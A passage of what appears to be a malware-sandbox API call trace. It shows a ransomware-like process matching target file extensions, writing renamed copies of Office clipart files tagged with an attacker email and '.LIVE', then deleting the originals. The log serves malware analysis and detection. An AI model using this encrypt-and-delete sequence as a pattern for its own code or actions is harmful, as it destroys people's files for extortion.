lstrlenW (lpString=".dbf") returned 4 [0158.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.528] lstrlenW (lpString=".1cd") returned 4 [0158.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.528] lstrlenW (lpString=".jpg") returned 4 [0158.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.528] lstrlenW (lpString=".doc") returned 4 [0158.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.528] lstrlenW (lpString=".docx") returned 5 [0158.528] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.528] lstrlenW (lpString=".pdf") returned 4 [0158.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.528] lstrlenW (lpString=".xls") returned 4 [0158.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.528] lstrlenW (lpString=".xlsx") returned 5 [0158.528] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.528] lstrlenW (lpString=".ppt") returned 4 [0158.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.528] lstrlenW (lpString=".zip") returned 4 [0158.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.528] lstrlenW (lpString=".rar") returned 4 [0158.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.528] lstrlenW (lpString=".bz2") returned 4 [0158.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.528] lstrlenW (lpString=".7z") returned 3 [0158.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.528] lstrlenW (lpString=".dbf") returned 4 [0158.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.528] lstrlenW (lpString=".1cd") returned 4 [0158.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF") returned 63 [0158.529] lstrlenW (lpString=".jpg") returned 4 [0158.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.529] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.529] lstrlenW (lpString="J0151073.WMF") returned 12 [0158.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.529] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=13336) returned 1 [0158.529] CloseHandle (hObject=0x1e0) returned 1 [0158.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf")) returned 0x20 [0158.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.530] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.530] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.531] GetLastError () returned 0x0 [0158.531] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x3418, lpOverlapped=0x0) returned 1 [0158.621] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3420, lpOverlapped=0x0) returned 1 [0158.622] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.622] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.622] SetEndOfFile (hFile=0x1dc) returned 1 [0158.622] CloseHandle (hObject=0x1dc) returned 1 [0158.622] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.622] SetEndOfFile (hFile=0x1e0) returned 1 [0158.624] CloseHandle (hObject=0x1e0) returned 1 [0158.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf")) returned 1 [0158.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.689] lstrlenW (lpString=".doc") returned 4 [0158.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.689] lstrlenW (lpString=".docx") returned 5 [0158.689] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.689] lstrlenW (lpString=".pdf") returned 4 [0158.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.689] lstrlenW (lpString=".xls") returned 4 [0158.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.689] lstrlenW (lpString=".xlsx") returned 5 [0158.689] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.689] lstrlenW (lpString=".ppt") returned 4 [0158.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.689] lstrlenW (lpString=".zip") returned 4 [0158.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.689] lstrlenW (lpString=".rar") returned 4 [0158.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.689] lstrlenW (lpString=".bz2") returned 4 [0158.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.689] lstrlenW (lpString=".7z") returned 3 [0158.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.689] lstrlenW (lpString=".dbf") returned 4 [0158.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.689] lstrlenW (lpString=".1cd") returned 4 [0158.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.689] lstrlenW (lpString=".jpg") returned 4 [0158.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.690] lstrlenW (lpString=".doc") returned 4 [0158.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.690] lstrlenW (lpString=".docx") returned 5 [0158.690] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.690] lstrlenW (lpString=".pdf") returned 4 [0158.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.690] lstrlenW (lpString=".xls") returned 4 [0158.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.690] lstrlenW (lpString=".xlsx") returned 5 [0158.690] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.690] lstrlenW (lpString=".ppt") returned 4 [0158.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.690] lstrlenW (lpString=".zip") returned 4 [0158.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.690] lstrlenW (lpString=".rar") returned 4 [0158.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.690] lstrlenW (lpString=".bz2") returned 4 [0158.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.690] lstrlenW (lpString=".7z") returned 3 [0158.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.690] lstrlenW (lpString=".dbf") returned 4 [0158.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.690] lstrlenW (lpString=".1cd") returned 4 [0158.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0158.690] lstrlenW (lpString=".jpg") returned 4 [0158.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.690] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.691] lstrlenW (lpString="J0152556.WMF") returned 12 [0158.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0158.691] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=16432) returned 1 [0158.691] CloseHandle (hObject=0x3b8) returned 1 [0158.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf")) returned 0x20 [0158.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0158.692] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.692] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.704] GetLastError () returned 0x0 [0158.704] ReadFile (in: hFile=0x3b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x4030, lpOverlapped=0x0) returned 1 [0158.729] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4040, lpOverlapped=0x0) returned 1 [0158.730] ReadFile (in: hFile=0x3b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.730] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.730] SetEndOfFile (hFile=0x38c) returned 1 [0158.730] CloseHandle (hObject=0x38c) returned 1 [0158.740] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.740] SetEndOfFile (hFile=0x3b8) returned 1 [0158.750] CloseHandle (hObject=0x3b8) returned 1 [0158.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0158.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.751] lstrlenW (lpString=".doc") returned 4 [0158.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.751] lstrlenW (lpString=".docx") returned 5 [0158.751] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0158.751] lstrlenW (lpString=".pdf") returned 4 [0158.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.752] lstrlenW (lpString=".xls") returned 4 [0158.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.752] lstrlenW (lpString=".xlsx") returned 5 [0158.752] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0158.752] lstrlenW (lpString=".ppt") returned 4 [0158.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.752] lstrlenW (lpString=".zip") returned 4 [0158.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.752] lstrlenW (lpString=".rar") returned 4 [0158.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.752] lstrlenW (lpString=".bz2") returned 4 [0158.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.752] lstrlenW (lpString=".7z") returned 3 [0158.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.752] lstrlenW (lpString=".dbf") returned 4 [0158.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.752] lstrlenW (lpString=".1cd") returned 4 [0158.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.752] lstrlenW (lpString=".jpg") returned 4 [0158.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.752] lstrlenW (lpString=".doc") returned 4 [0158.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.752] lstrlenW (lpString=".docx") returned 5 [0158.752] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0158.752] lstrlenW (lpString=".pdf") returned 4 [0158.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.752] lstrlenW (lpString=".xls") returned 4 [0158.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.752] lstrlenW (lpString=".xlsx") returned 5 [0158.753] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0158.753] lstrlenW (lpString=".ppt") returned 4 [0158.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.753] lstrlenW (lpString=".zip") returned 4 [0158.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.753] lstrlenW (lpString=".rar") returned 4 [0158.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.753] lstrlenW (lpString=".bz2") returned 4 [0158.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.753] lstrlenW (lpString=".7z") returned 3 [0158.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.753] lstrlenW (lpString=".dbf") returned 4 [0158.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.753] lstrlenW (lpString=".1cd") returned 4 [0158.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0158.753] lstrlenW (lpString=".jpg") returned 4 [0158.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.753] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.753] lstrlenW (lpString="J0152560.WMF") returned 12 [0158.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0158.754] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10880) returned 1 [0158.754] CloseHandle (hObject=0x3b8) returned 1 [0158.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf")) returned 0x20 [0158.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0158.754] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.754] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0158.755] GetLastError () returned 0x0 [0158.755] ReadFile (in: hFile=0x3b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2a80, lpOverlapped=0x0) returned 1 [0158.779] WriteFile (in: hFile=0x1b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2a90, lpOverlapped=0x0) returned 1 [0158.780] ReadFile (in: hFile=0x3b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.780] WriteFile (in: hFile=0x1b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.780] SetEndOfFile (hFile=0x1b8) returned 1 [0158.780] CloseHandle (hObject=0x1b8) returned 1 [0158.780] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.780] SetEndOfFile (hFile=0x3b8) returned 1 [0158.787] CloseHandle (hObject=0x3b8) returned 1 [0158.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf")) returned 1 [0158.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.788] lstrlenW (lpString=".doc") returned 4 [0158.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.788] lstrlenW (lpString=".docx") returned 5 [0158.788] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0158.788] lstrlenW (lpString=".pdf") returned 4 [0158.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.788] lstrlenW (lpString=".xls") returned 4 [0158.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.789] lstrlenW (lpString=".xlsx") returned 5 [0158.789] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0158.789] lstrlenW (lpString=".ppt") returned 4 [0158.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.789] lstrlenW (lpString=".zip") returned 4 [0158.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.789] lstrlenW (lpString=".rar") returned 4 [0158.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.789] lstrlenW (lpString=".bz2") returned 4 [0158.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.789] lstrlenW (lpString=".7z") returned 3 [0158.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.789] lstrlenW (lpString=".dbf") returned 4 [0158.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.789] lstrlenW (lpString=".1cd") returned 4 [0158.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.789] lstrlenW (lpString=".jpg") returned 4 [0158.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.789] lstrlenW (lpString="C:\\Program Files\\Microsoft 